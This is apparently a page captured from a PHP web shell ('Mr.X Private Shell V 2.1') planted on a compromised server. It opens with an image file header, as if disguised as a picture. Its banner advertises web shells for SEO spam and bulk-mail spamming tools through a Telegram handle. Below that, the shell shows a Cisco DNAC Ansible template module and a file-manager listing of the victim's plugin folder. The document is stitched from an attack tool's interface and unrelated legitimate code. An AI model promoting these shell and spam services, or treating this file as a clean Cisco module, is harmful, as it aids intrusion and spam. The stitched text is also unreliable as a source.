����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2022, Cisco Systems
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type
__author__ = ("Madhan Sankaranarayanan, Rishita Chowdhary")

DOCUMENTATION = r"""
---
module: template_intent
short_description: Resource module for Template functions
description:
- Manage operations create, update and delete of the resource Configuration Template.
- API to create a template by project name and template name.
- API to update a template by template name and project name.
- API to delete a template by template name and project name.
version_added: '6.6.0'
extends_documentation_fragment:
  - cisco.dnac.intent_params
author: Madhan Sankaranarayanan (@madhansansel)
        Rishita Chowdhary (@rishitachowdhary)
options:
  state:
    description: The state of DNAC after module completion.
    type: str
    choices: [ merged, deleted ]
    default: merged
  config:
    description:
    - List of details of templates being managed.
    type: list
    elements: dict
    required: true
    suboptions:
      author:
        description: Author of template.
        type: str
      composite:
        description: Is it composite template.
        type: bool
      containingTemplates:
        description: Configuration Template Create's containingTemplates.
        suboptions:
          composite:
            description: Is it composite template.
            type: bool
          description:
            description: Description of template.
            type: str
          deviceTypes:
            description: Configuration Template Create's deviceTypes.
            type: list
            elements: dict
            suboptions:
              productFamily:
                description: Device family.
                type: str
              productSeries:
                description: Device series.
                type: str
              productType:
                description: Device type.
                type: str
          id:
            description: UUID of template.
            type: str
          language:
            description: Template language
            choices:
              - JINJA
              - VELOCITY
            type: str
          name:
            description: Name of template.
            type: str
          projectName:
            description: Project name.
            type: str
          rollbackTemplateParams:
            description: Configuration Template Create's rollbackTemplateParams.
            type: list
            elements: dict
            suboptions:
              binding:
                description: Bind to source.
                type: str
              customOrder:
                description: CustomOrder of template param.
                type: int
              dataType:
                description: Datatype of template param.
                type: str
              defaultValue:
                description: Default value of template param.
                type: str
              description:
                description: Description of template param.
                type: str
              displayName:
                description: Display name of param.
                type: str
              group:
                description: Group.
                type: str
              id:
                description: UUID of template param.
                type: str
              instructionText:
                description: Instruction text for param.
                type: str
              key:
                description: Key.
                type: str
              notParam:
                description: Is it not a variable.
                type: bool
              order:
                description: Order of template param.
                type: int
              paramArray:
                description: Is it an array.
                type: bool
              parameterName:
                description: Name of template param.
                type: str
              provider:
                description: Provider.
                type: str
              range:
                description: Configuration Template Create's range.
                type: list
                elements: dict
                suboptions:
                  id:
                    description: UUID of range.
                    type: str
                  maxValue:
                    description: Max value of range.
                    type: int
                  minValue:
                    description: Min value of range.
                    type: int
              required:
                description: Is param required.
                type: bool
              selection:
                description: Configuration Template Create's selection.
                suboptions:
                  defaultSelectedValues:
                    description: Default selection values.
                    elements: str
                    type: list
                  id:
                    description: UUID of selection.
                    type: str
                  selectionType:
                    description: Type of selection(SINGLE_SELECT or MULTI_SELECT).
                    type: str
                  selectionValues:
                    description: Selection values.
                    type: dict
                type: dict
          tags:
            description: Configuration Template Create's tags.
            suboptions:
              id:
                description: UUID of tag.
                type: str
              name:
                description: Name of tag.
                type: str
            type: list
            elements: dict
          templateContent:
            description: Template content.
            type: str
          templateParams:
            description: Configuration Template Create's templateParams.
            elements: dict
            suboptions:
              binding:
                description: Bind to source.
                type: str
              customOrder:
                description: CustomOrder of template param.
                type: int
              dataType:
                description: Datatype of template param.
                type: str
              defaultValue:
                description: Default value of template param.
                type: str
              description:
                description: Description of template param.
                type: str
              displayName:
                description: Display name of param.
                type: str
              group:
                description: Group.
                type: str
              id:
                description: UUID of template param.
                type: str
              instructionText:
                description: Instruction text for param.
                type: str
              key:
                description: Key.
                type: str
              notParam:
                description: Is it not a variable.
                type: bool
              order:
                description: Order of template param.
                type: int
              paramArray:
                description: Is it an array.
                type: bool
              parameterName:
                description: Name of template param.
                type: str
              provider:
                description: Provider.
                type: str
              range:
                description: Configuration Template Create's range.
                suboptions:
                  id:
                    description: UUID of range.
                    type: str
                  maxValue:
                    description: Max value of range.
                    type: int
                  minValue:
                    description: Min value of range.
                    type: int
                type: list
                elements: dict
              required:
                description: Is param required.
                type: bool
              selection:
                description: Configuration Template Create's selection.
                suboptions:
                  defaultSelectedValues:
                    description: Default selection values.
                    elements: str
                    type: list
                  id:
                    description: UUID of selection.
                    type: str
                  selectionType:
                    description: Type of selection(SINGLE_SELECT or MULTI_SELECT).
                    type: str
                  selectionValues:
                    description: Selection values.
                    type: dict
                type: dict
            type: list
          version:
            description: Current version of template.
            type: str
        type: list
        elements: dict
      createTime:
        description: Create time of template.
        type: int
      customParamsOrder:
        description: Custom Params Order.
        type: bool
      template_description:
        description: Description of template.
        type: str
      deviceTypes:
        description: Configuration Template Create's deviceTypes.
        suboptions:
          productFamily:
            description: Device family.
            type: str
          productSeries:
            description: Device series.
            type: str
          productType:
            description: Device type.
            type: str
        type: list
        elements: dict
      failurePolicy:
        description: Define failure policy if template provisioning fails.
        type: str
      language:
        description: Template language
        choices:
          - JINJA
          - VELOCITY
        type: str
      lastUpdateTime:
        description: Update time of template.
        type: int
      latestVersionTime:
        description: Latest versioned template time.
        type: int
      templateName:
        description: Name of template.
        type: str
      parentTemplateId:
        description: Parent templateID.
        type: str
      projectId:
        description: Project UUID.
        type: str
      projectName:
        description: Project name.
        type: str
      rollbackTemplateContent:
        description: Rollback template content.
        type: str
      rollbackTemplateParams:
        description: Configuration Template Create's rollbackTemplateParams.
        suboptions:
          binding:
            description: Bind to source.
            type: str
          customOrder:
            description: CustomOrder of template param.
            type: int
          dataType:
            description: Datatype of template param.
            type: str
          defaultValue:
            description: Default value of template param.
            type: str
          description:
            description: Description of template param.
            type: str
          displayName:
            description: Display name of param.
            type: str
          group:
            description: Group.
            type: str
          id:
            description: UUID of template param.
            type: str
          instructionText:
            description: Instruction text for param.
            type: str
          key:
            description: Key.
            type: str
          notParam:
            description: Is it not a variable.
            type: bool
          order:
            description: Order of template param.
            type: int
          paramArray:
            description: Is it an array.
            type: bool
          parameterName:
            description: Name of template param.
            type: str
          provider:
            description: Provider.
            type: str
          range:
            description: Configuration Template Create's range.
            suboptions:
              id:
                description: UUID of range.
                type: str
              maxValue:
                description: Max value of range.
                type: int
              minValue:
                description: Min value of range.
                type: int
            type: list
            elements: dict
          required:
            description: Is param required.
            type: bool
          selection:
            description: Configuration Template Create's selection.
            suboptions:
              defaultSelectedValues:
                description: Default selection values.
                elements: str
                type: list
              id:
                description: UUID of selection.
                type: str
              selectionType:
                description: Type of selection(SINGLE_SELECT or MULTI_SELECT).
                type: str
              selectionValues:
                description: Selection values.
                type: dict
            type: dict
        type: list
        elements: dict
      softwareType:
        description: Applicable device software type.
        type: str
      softwareVariant:
        description: Applicable device software variant.
        type: str
      softwareVersion:
        description: Applicable device software version.
        type: str
      template_tag:
        description: Configuration Template Create's tags.
        suboptions:
          id:
            description: UUID of tag.
            type: str
          name:
            description: Name of tag.
            type: str
        type: list
        elements: dict
      templateContent:
        description: Template content.
        type: str
      templateParams:
        description: Configuration Template Create's templateParams.
        suboptions:
          binding:
            description: Bind to source.
            type: str
          customOrder:
            description: CustomOrder of template param.
            type: int
          dataType:
            description: Datatype of template param.
            type: str
          defaultValue:
            description: Default value of template param.
            type: str
          description:
            description: Description of template param.
            type: str
          displayName:
            description: Display name of param.
            type: str
          group:
            description: Group.
            type: str
          id:
            description: UUID of template param.
            type: str
          instructionText:
            description: Instruction text for param.
            type: str
          key:
            description: Key.
            type: str
          notParam:
            description: Is it not a variable.
            type: bool
          order:
            description: Order of template param.
            type: int
          paramArray:
            description: Is it an array.
            type: bool
          parameterName:
            description: Name of template param.
            type: str
          provider:
            description: Provider.
            type: str
          range:
            description: Configuration Template Create's range.
            suboptions:
              id:
                description: UUID of range.
                type: str
              maxValue:
                description: Max value of range.
                type: int
              minValue:
                description: Min value of range.
                type: int
            type: list
            elements: dict
          required:
            description: Is param required.
            type: bool
          selection:
            description: Configuration Template Create's selection.
            suboptions:
              defaultSelectedValues:
                description: Default selection values.
                elements: str
                type: list
              id:
                description: UUID of selection.
                type: str
              selectionType:
                description: Type of selection(SINGLE_SELECT or MULTI_SELECT).
                type: str
              selectionValues:
                description: Selection values.
                type: dict
            type: dict
        type: list
        elements: dict
      validationErrors:
        description: Configuration Template Create's validationErrors.
        suboptions:
          rollbackTemplateErrors:
            description: Validation or design conflicts errors of rollback template.
            elements: dict
            type: list
          templateErrors:
            description: Validation or design conflicts errors.
            elements: dict
            type: list
          templateId:
            description: UUID of template.
            type: str
          templateVersion:
            description: Current version of template.
            type: str
        type: dict
      version:
        description: Current version of template.
        type: str
      versionDescription:
        description: Template version comments.
        type: str
requirements:
- dnacentersdk == 2.4.5
- python >= 3.5
notes:
  - SDK Method used are
    configuration_templates.ConfigurationTemplates.create_template,
    configuration_templates.ConfigurationTemplates.deletes_the_template,
    configuration_templates.ConfigurationTemplates.update_template,

  - Paths used are
    post /dna/intent/api/v1/template-programmer/project/{projectId}/template,
    delete /dna/intent/api/v1/template-programmer/template/{templateId},
    put /dna/intent/api/v1/template-programmer/template,

"""

EXAMPLES = r"""
- name: Create a new template
  cisco.dnac.template_intent:
    dnac_host: "{{dnac_host}}"
    dnac_username: "{{dnac_username}}"
    dnac_password: "{{dnac_password}}"
    dnac_verify: "{{dnac_verify}}"
    dnac_port: "{{dnac_port}}"
    dnac_version: "{{dnac_version}}"
    dnac_debug: "{{dnac_debug}}"
    dnac_log: True
    state: merged
    config:
        author: string
        composite: true
        createTime: 0
        customParamsOrder: true
        description: string
        deviceTypes:
        - productFamily: string
          productSeries: string
          productType: string
        failurePolicy: string
        id: string
        language: string
        lastUpdateTime: 0
        latestVersionTime: 0
        name: string
        parentTemplateId: string
        projectId: string
        projectName: string
        rollbackTemplateContent: string
        softwareType: string
        softwareVariant: string
        softwareVersion: string
        tags:
        - id: string
          name: string
        templateContent: string
        validationErrors:
            rollbackTemplateErrors:
            - {}
            templateErrors:
            - {}
            templateId: string
            templateVersion: string
        version: string

"""

RETURN = r"""
#Case_1: Successful creation/updation/deletion of template
response_1:
  description: A dictionary with versioning details of the template as returned by the DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response": {
                        "endTime": 0,
                        "version": 0,
                        "data": String,
                        "startTime": 0,
                        "username": String,
                        "progress": String,
                        "serviceType": String, "rootId": String,
                        "isError": bool,
                        "instanceTenantId": String,
                        "id": String
                        "version": 0
                  },
      "msg": String
    }

#Case_2: Error while deleting a template or when given project is not found
response_2:
  description: A list with the response returned by the Cisco DNAC Python SDK
  returned: always
  type: list
  sample: >
    {
      "response": [],
      "msg": String
    }

#Case_3: Given template already exists and requires no udpate
response_3:
  description: A dictionary with the exisiting template deatails as returned by the Cisco DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response": {},
      "msg": String
    }
"""

import copy
from ansible_collections.cisco.dnac.plugins.module_utils.dnac import (
    DNACSDK,
    validate_list_of_dicts,
    log,
    get_dict_result,
    dnac_compare_equality,
)
from ansible.module_utils.basic import AnsibleModule


class DnacTemplate:

    def __init__(self, module):
        self.module = module
        self.params = module.params
        self.config = copy.deepcopy(module.params.get("config"))
        self.have_create = {}
        self.want_create = {}
        self.validated = []
        dnac_params = self.get_dnac_params(self.params)
        log(str(dnac_params))
        self.dnac = DNACSDK(params=dnac_params)
        self.log = dnac_params.get("dnac_log")

        self.result = dict(changed=False, diff=[], response=[], warnings=[])

    def get_state(self):
        return self.params.get("state")

    def validate_input(self):
        temp_spec = dict(
            tags=dict(type="list"),
            author=dict(type="str"),
            composite=dict(type="bool"),
            containingTemplates=dict(type="list"),
            createTime=dict(type="int"),
            customParamsOrder=dict(type="bool"),
            description=dict(type="str"),
            deviceTypes=dict(type="list", elements='dict'),
            failurePolicy=dict(type="str"),
            id=dict(type="str"),
            language=dict(type="str"),
            lastUpdateTime=dict(type="int"),
            latestVersionTime=dict(type="int"),
            name=dict(type="str"),
            parentTemplateId=dict(type="str"),
            projectId=dict(type="str"),
            projectName=dict(required=True, type="str"),
            rollbackTemplateContent=dict(type="str"),
            rollbackTemplateParams=dict(type="list"),
            softwareType=dict(type="str"),
            softwareVariant=dict(type="str"),
            softwareVersion=dict(type="str"),
            templateContent=dict(type="str"),
            templateParams=dict(type="list"),
            templateName=dict(required=True, type='str'),
            validationErrors=dict(type="dict"),
            version=dict(type="str"),
            versionDescription=dict(type='str'),
        )

        if self.config:
            msg = None
            # Validate template params
            valid_temp, invalid_params = validate_list_of_dicts(
                self.config, temp_spec
            )

            if invalid_params:
                msg = "Invalid parameters in playbook: {0}".format(
                    "\n".join(invalid_params)
                )
                self.module.fail_json(msg=msg)

            self.validated = valid_temp

            if self.log:
                log(str(valid_temp))
                log(str(self.validated))

            if self.params.get("state") == "merged":
                for temp in self.validated:
                    if not temp.get("language") or not temp.get("deviceTypes") \
                            or not temp.get("softwareType"):
                        msg = "missing required arguments: language or deviceTypes or softwareType"
                        self.module.fail_json(msg=msg)
                    if not (temp.get("language").lower() == "velocity" or
                            temp.get("language").lower() == "jinja"):
                        msg = "Invalid parameters in playbook: {0} : Invalid choice provided".format(
                            "".join(temp.get("language")))
                        self.module.fail_json(msg=msg)

    def get_dnac_params(self, params):
        dnac_params = dict(
            dnac_host=params.get("dnac_host"),
            dnac_port=params.get("dnac_port"),
            dnac_username=params.get("dnac_username"),
            dnac_password=params.get("dnac_password"),
            dnac_verify=params.get("dnac_verify"),
            dnac_debug=params.get("dnac_debug"),
            dnac_log=params.get("dnac_log")
        )
        return dnac_params

    def get_template_params(self, params):
        temp_params = dict(
            tags=params.get("template_tag"),
            author=params.get("author"),
            composite=params.get("composite"),
            containingTemplates=params.get("containingTemplates"),
            createTime=params.get("createTime"),
            customParamsOrder=params.get("customParamsOrder"),
            description=params.get("template_description"),
            deviceTypes=params.get("deviceTypes"),
            failurePolicy=params.get("failurePolicy"),
            id=params.get("templateId"),
            language=params.get("language").upper(),
            lastUpdateTime=params.get("lastUpdateTime"),
            latestVersionTime=params.get("latestVersionTime"),
            name=params.get("templateName"),
            parentTemplateId=params.get("parentTemplateId"),
            projectId=params.get("projectId"),
            projectName=params.get("projectName"),
            rollbackTemplateContent=params.get("rollbackTemplateContent"),
            rollbackTemplateParams=params.get("rollbackTemplateParams"),
            softwareType=params.get("softwareType"),
            softwareVariant=params.get("softwareVariant"),
            softwareVersion=params.get("softwareVersion"),
            templateContent=params.get("templateContent"),
            templateParams=params.get("templateParams"),
            validationErrors=params.get("validationErrors"),
            version=params.get("version"),
            project_id=params.get("projectId"),
        )
        return temp_params

    def get_template(self):
        result = None

        for temp in self.validated:
            items = self.dnac._exec(
                family="configuration_templates",
                function="get_template_details",
                params={"template_id": temp.get("templateId")}
            )

            if items:
                result = items

                if self.log:
                    log(str(items))

        self.result['response'] = items
        return result

    def get_have(self):
        prev_template = None
        template_exists = False
        have_create = {}

        # Get available templates. Filter templates based on provided projectName
        for temp in self.validated:
            template_list = self.dnac._exec(
                family="configuration_templates",
                function='gets_the_templates_available',
                params={"project_names": temp.get("projectName")},
            )
            # API execution error returns a dict
            if template_list and isinstance(template_list, list):
                template_details = get_dict_result(template_list, 'name', temp.get("templateName"))

                if template_details:
                    temp["templateId"] = template_details.get("templateId")
                    have_create["templateId"] = template_details.get("templateId")
                    prev_template = self.get_template()

                    if self.log:
                        log(str(prev_template))

                template_exists = prev_template is not None and isinstance(prev_template, dict)
            else:
                self.module.fail_json(msg="Project Not Found", response=[])

        have_create['template'] = prev_template
        have_create['template_found'] = template_exists
        self.have_create = have_create

    def get_want(self):
        want_create = {}

        for temp in self.validated:
            template_params = self.get_template_params(temp)
            version_comments = temp.get("versionDescription")

            if self.params.get("state") == "merged" and \
                    not self.have_create.get("template_found"):
                # ProjectId is required for creating a new template.
                # Store it with other template parameters.
                items = self.dnac._exec(
                    family="configuration_templates",
                    function='get_projects',
                    params={"name": temp.get("projectName")},
                )
                template_params["projectId"] = items[0].get("id")
                template_params["project_id"] = items[0].get("id")

        want_create["template_params"] = template_params
        want_create["comments"] = version_comments

        self.want_create = want_create

    def requires_update(self):
        current_obj = self.have_create.get("template")
        requested_obj = self.want_create.get("template_params")
        obj_params = [
            ("tags", "tags", ""),
            ("author", "author", ""),
            ("composite", "composite", False),
            ("containingTemplates", "containingTemplates", []),
            ("createTime", "createTime", ""),
            ("customParamsOrder", "customParamsOrder", False),
            ("description", "description", ""),
            ("deviceTypes", "deviceTypes", []),
            ("failurePolicy", "failurePolicy", ""),
            ("id", "id", ""),
            ("language", "language", "VELOCITY"),
            ("lastUpdateTime", "lastUpdateTime", ""),
            ("latestVersionTime", "latestVersionTime", ""),
            ("name", "name", ""),
            ("parentTemplateId", "parentTemplateId", ""),
            ("projectId", "projectId", ""),
            ("projectName", "projectName", ""),
            ("rollbackTemplateContent", "rollbackTemplateContent", ""),
            ("rollbackTemplateParams", "rollbackTemplateParams", []),
            ("softwareType", "softwareType", ""),
            ("softwareVariant", "softwareVariant", ""),
            ("softwareVersion", "softwareVersion", ""),
            ("templateContent", "templateContent", ""),
            ("templateParams", "templateParams", []),
            ("validationErrors", "validationErrors", {}),
            ("version", "version", ""),
        ]

        return any(not dnac_compare_equality(current_obj.get(dnac_param, default),
                                             requested_obj.get(ansible_param))
                   for (dnac_param, ansible_param, default) in obj_params)

    def get_task_details(self, id):
        result = None
        response = self.dnac._exec(
            family="task",
            function='get_task_by_id',
            params={"task_id": id},
        )

        if self.log:
            log(str(response))

        if isinstance(response, dict):
            result = response.get("response")

        return result

    def get_diff_merge(self):
        template_id = None
        template_ceated = False
        template_updated = False
        template_exists = self.have_create.get("template_found")

        if template_exists:
            if self.requires_update():
                response = self.dnac._exec(
                    family="configuration_templates",
                    function="update_template",
                    params=self.want_create.get("template_params"),
                    op_modifies=True,
                )
                template_updated = True
                template_id = self.have_create.get("templateId")

                if self.log:
                    log("Updating Existing Template")
            else:
                # Template does not need update
                self.result['response'] = self.have_create.get("template")
                self.result['msg'] = "Template does not need update"
                self.module.exit_json(**self.result)
        else:
            response = self.dnac._exec(
                family="configuration_templates",
                function='create_template',
                op_modifies=True,
                params=self.want_create.get("template_params"),
            )

            if self.log:
                log("Template created. Get template_id for versioning")
            if isinstance(response, dict):
                create_error = False
                task_details = {}
                task_id = response.get("response").get("taskId")

                if task_id:
                    while (True):
                        task_details = self.get_task_details(task_id)
                        if task_details and task_details.get("isError"):
                            create_error = True
                            break

                        if task_details and ("Successfully created template" in task_details.get("progress")):
                            break
                    if not create_error:
                        template_id = task_details.get("data")
            if template_id:
                template_created = True

        if template_updated or template_created:
            # Template needs to be versioned
            version_params = dict(
                comments=self.want_create.get("comments"),
                templateId=template_id
            )
            response = self.dnac._exec(
                family="configuration_templates",
                function='version_template',
                op_modifies=True,
                params=version_params
            )
            task_details = {}
            task_id = response.get("response").get("taskId")

            if task_id:
                task_details = self.get_task_details(task_id)
                self.result['changed'] = True
                self.result['msg'] = task_details.get('progress')
                self.result['diff'] = self.validated
                if self.log:
                    log(str(task_details))
            self.result['response'] = task_details if task_details else response

            if not self.result.get('msg'):
                self.result['msg'] = "Error while versioning the template"

    def get_diff_delete(self):
        template_exists = self.have_create.get("template_found")

        if template_exists:
            response = self.dnac._exec(
                family="configuration_templates",
                function="deletes_the_template",
                params={"template_id": self.have_create.get("templateId")},
            )
            task_details = {}
            task_id = response.get("response").get("taskId")

            if task_id:
                task_details = self.get_task_details(task_id)
                self.result['changed'] = True
                self.result['msg'] = task_details.get('progress')
                self.result['diff'] = self.validated

                if self.log:
                    log(str(task_details))

            self.result['response'] = task_details if task_details else response

            if not self.result['msg']:
                self.result['msg'] = "Error while deleting template"
        else:
            self.module.fail_json(msg="Template not found", response=[])


def main():
    """ main entry point for module execution
    """

    element_spec = dict(
        dnac_host=dict(required=True, type='str'),
        dnac_port=dict(type='str', default='443'),
        dnac_username=dict(type='str', default='admin', aliases=["user"]),
        dnac_password=dict(type='str', no_log=True),
        dnac_verify=dict(type='bool', default='True'),
        dnac_version=dict(type="str", default="2.2.3.3"),
        dnac_debug=dict(type='bool', default=False),
        dnac_log=dict(type='bool', default=False),
        validate_response_schema=dict(type="bool", default=True),
        config=dict(required=True, type='list', elements='dict'),
        state=dict(
            default='merged',
            choices=['merged', 'deleted']),
    )
    module = AnsibleModule(argument_spec=element_spec,
                           supports_check_mode=False)
    dnac_template = DnacTemplate(module)
    dnac_template.validate_input()
    state = dnac_template.get_state()
    dnac_template.get_have()
    dnac_template.get_want()

    if state == "merged":
        dnac_template.get_diff_merge()

    elif state == "deleted":
        dnac_template.get_diff_delete()

    module.exit_json(**dnac_template.result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
accesspoint_configuration_details_by_task_id_info.py File 2.81 KB 0644
app_policy_default_info.py File 3.92 KB 0644
app_policy_info.py File 5.15 KB 0644
app_policy_intent_create.py File 9.63 KB 0644
app_policy_queuing_profile.py File 6.34 KB 0644
app_policy_queuing_profile_count_info.py File 1.78 KB 0644
app_policy_queuing_profile_info.py File 4.37 KB 0644
application_sets.py File 2.47 KB 0644
application_sets_count_info.py File 1.66 KB 0644
application_sets_info.py File 1.97 KB 0644
applications.py File 7.28 KB 0644
applications_count_info.py File 1.6 KB 0644
applications_health_info.py File 4.38 KB 0644
applications_info.py File 3.15 KB 0644
assign_device_to_site.py File 1.98 KB 0644
associate_site_to_network_profile.py File 1.8 KB 0644
authentication_import_certificate.py File 2.04 KB 0644
authentication_import_certificate_p12.py File 2.08 KB 0644
authentication_policy_servers_info.py File 3.38 KB 0644
buildings_planned_access_points_info.py File 3.32 KB 0644
business_sda_hostonboarding_ssid_ippool.py File 2.98 KB 0644
business_sda_hostonboarding_ssid_ippool_info.py File 2.06 KB 0644
business_sda_virtual_network_summary_info.py File 2 KB 0644
business_sda_wireless_controller_create.py File 1.83 KB 0644
business_sda_wireless_controller_delete.py File 1.93 KB 0644
cli_credential.py File 3.22 KB 0644
client_detail_info.py File 4.91 KB 0644
client_enrichment_details_info.py File 6.84 KB 0644
client_health_info.py File 2.89 KB 0644
client_proximity_info.py File 2.5 KB 0644
command_runner_run_command.py File 2.25 KB 0644
compliance_check_run.py File 1.81 KB 0644
compliance_device_by_id_info.py File 3.99 KB 0644
compliance_device_details_count_info.py File 2.17 KB 0644
compliance_device_details_info.py File 2.73 KB 0644
compliance_device_info.py File 3.06 KB 0644
compliance_device_status_count_info.py File 1.9 KB 0644
configuration_template.py File 19.43 KB 0644
configuration_template_clone.py File 2.13 KB 0644
configuration_template_create.py File 18.74 KB 0644
configuration_template_deploy.py File 3.54 KB 0644
configuration_template_deploy_status_info.py File 2.56 KB 0644
configuration_template_deploy_v2.py File 3.01 KB 0644
configuration_template_export_project.py File 1.82 KB 0644
configuration_template_export_template.py File 1.83 KB 0644
configuration_template_import_project.py File 2.02 KB 0644
configuration_template_import_template.py File 21.89 KB 0644
configuration_template_info.py File 9.9 KB 0644
configuration_template_project.py File 27.45 KB 0644
configuration_template_project_info.py File 9.43 KB 0644
configuration_template_version_create.py File 1.8 KB 0644
configuration_template_version_info.py File 2.29 KB 0644
credential_to_site_by_siteid_create_v2.py File 2.31 KB 0644
device_configurations_export.py File 1.8 KB 0644
device_credential_create.py File 5.53 KB 0644
device_credential_delete.py File 1.63 KB 0644
device_credential_info.py File 3.83 KB 0644
device_credential_update.py File 5.31 KB 0644
device_details_info.py File 3.32 KB 0644
device_enrichment_details_info.py File 4.18 KB 0644
device_family_identifiers_details_info.py File 1.93 KB 0644
device_health_info.py File 3.8 KB 0644
device_interface_by_ip_info.py File 2.76 KB 0644
device_interface_count_info.py File 1.6 KB 0644
device_interface_info.py File 3.76 KB 0644
device_interface_isis_info.py File 2.59 KB 0644
device_interface_ospf_info.py File 2.59 KB 0644
device_reboot_apreboot.py File 1.71 KB 0644
device_reboot_apreboot_info.py File 1.97 KB 0644
device_replacement.py File 4.64 KB 0644
device_replacement_count_info.py File 1.92 KB 0644
device_replacement_deploy.py File 2 KB 0644
device_replacement_info.py File 4.24 KB 0644
disassociate_site_to_network_profile.py File 1.84 KB 0644
disasterrecovery_system_operationstatus_info.py File 2.22 KB 0644
disasterrecovery_system_status_info.py File 3.18 KB 0644
discovery.py File 10.61 KB 0644
discovery_count_info.py File 1.59 KB 0644
discovery_device_count_info.py File 1.91 KB 0644
discovery_device_info.py File 3.55 KB 0644
discovery_device_range_info.py File 3.88 KB 0644
discovery_info.py File 3.52 KB 0644
discovery_job_info.py File 3.55 KB 0644
discovery_range_delete.py File 1.84 KB 0644
discovery_range_info.py File 3.82 KB 0644
discovery_summary_info.py File 2.77 KB 0644
dna_command_runner_keywords_info.py File 1.74 KB 0644
dnac_packages_info.py File 1.7 KB 0644
dnacaap_management_execution_status_info.py File 2.11 KB 0644
endpoint_analytics_profiling_rules.py File 6.8 KB 0644
endpoint_analytics_profiling_rules_info.py File 4.92 KB 0644
eox_status_device_info.py File 3.39 KB 0644
eox_status_summary_info.py File 1.65 KB 0644
event_api_status_info.py File 1.81 KB 0644
event_artifact_count_info.py File 1.61 KB 0644
event_artifact_info.py File 3.25 KB 0644
event_config_connector_types_info.py File 1.75 KB 0644
event_count_info.py File 1.79 KB 0644
event_email_config.py File 3.71 KB 0644
event_email_config_create.py File 2.75 KB 0644
event_email_config_info.py File 2.12 KB 0644
event_email_config_update.py File 2.75 KB 0644
event_info.py File 2.66 KB 0644
event_series_audit_logs_info.py File 6 KB 0644
event_series_audit_logs_parent_records_info.py File 5.96 KB 0644
event_series_audit_logs_summary_info.py File 4.75 KB 0644
event_series_count_info.py File 2.47 KB 0644
event_series_info.py File 3.67 KB 0644
event_snmp_config_info.py File 2.8 KB 0644
event_subscription.py File 6.16 KB 0644
event_subscription_count_info.py File 1.77 KB 0644
event_subscription_details_email_info.py File 2.75 KB 0644
event_subscription_details_rest_info.py File 2.99 KB 0644
event_subscription_details_syslog_info.py File 2.87 KB 0644
event_subscription_email.py File 6.23 KB 0644
event_subscription_email_info.py File 4.39 KB 0644
event_subscription_info.py File 4 KB 0644
event_subscription_rest.py File 5.48 KB 0644
event_subscription_rest_info.py File 4.84 KB 0644
event_subscription_syslog.py File 5.44 KB 0644
event_subscription_syslog_info.py File 4.48 KB 0644
event_syslog_config.py File 2.83 KB 0644
event_syslog_config_info.py File 2.8 KB 0644
event_webhook_create.py File 2.47 KB 0644
event_webhook_update.py File 2.47 KB 0644
execute_suggested_actions_commands.py File 2.28 KB 0644
file_import.py File 1.51 KB 0644
file_info.py File 2.09 KB 0644
file_namespace_files_info.py File 2.11 KB 0644
file_namespaces_info.py File 1.59 KB 0644
global_credential_delete.py File 1.73 KB 0644
global_credential_info.py File 2.93 KB 0644
global_credential_update.py File 1.84 KB 0644
global_credential_v2.py File 7.1 KB 0644
global_credential_v2_info.py File 3.97 KB 0644
global_pool.py File 3.91 KB 0644
global_pool_info.py File 2.61 KB 0644
golden_image_create.py File 2.08 KB 0644
golden_tag_image_delete.py File 2.34 KB 0644
golden_tag_image_details_info.py File 2.61 KB 0644
http_read_credential.py File 3.4 KB 0644
http_write_credential.py File 3.44 KB 0644
integration_settings_instances_itsm.py File 4.81 KB 0644
integration_settings_instances_itsm_info.py File 2.29 KB 0644
interface_info.py File 3.04 KB 0644
interface_network_device_detail_info.py File 2.9 KB 0644
interface_network_device_info.py File 2.75 KB 0644
interface_network_device_range_info.py File 3.13 KB 0644
interface_operation_create.py File 2.19 KB 0644
interface_update.py File 2.47 KB 0644
issues_enrichment_details_info.py File 2.35 KB 0644
issues_info.py File 3.28 KB 0644
itsm_cmdb_sync_status_info.py File 2.5 KB 0644
itsm_integration_events_failed_info.py File 2.3 KB 0644
itsm_integration_events_retry.py File 1.94 KB 0644
lan_automation_count_info.py File 1.63 KB 0644
lan_automation_create.py File 3.54 KB 0644
lan_automation_delete.py File 1.73 KB 0644
lan_automation_log_by_serial_number_info.py File 2.73 KB 0644
lan_automation_log_info.py File 3.1 KB 0644
lan_automation_status_info.py File 3.75 KB 0644
license_device_count_info.py File 2.28 KB 0644
license_device_deregistration.py File 1.69 KB 0644
license_device_license_details_info.py File 3.22 KB 0644
license_device_license_summary_info.py File 4.13 KB 0644
license_device_registration.py File 1.84 KB 0644
license_smart_account_details_info.py File 1.77 KB 0644
license_term_details_info.py File 2.45 KB 0644
license_usage_details_info.py File 2.99 KB 0644
license_virtual_account_change.py File 2.04 KB 0644
license_virtual_account_details_info.py File 1.99 KB 0644
netconf_credential.py File 3.11 KB 0644
network_create.py File 6.18 KB 0644
network_device.py File 6.75 KB 0644
network_device_by_ip_info.py File 3.03 KB 0644
network_device_by_serial_number_info.py File 3.16 KB 0644
network_device_chassis_details_info.py File 2.33 KB 0644
network_device_config_count_info.py File 1.62 KB 0644
network_device_config_info.py File 2.52 KB 0644
network_device_count_info.py File 2.56 KB 0644
network_device_custom_prompt.py File 1.88 KB 0644
network_device_custom_prompt_info.py File 1.87 KB 0644
network_device_equipment_info.py File 2.35 KB 0644
network_device_export.py File 2.04 KB 0644
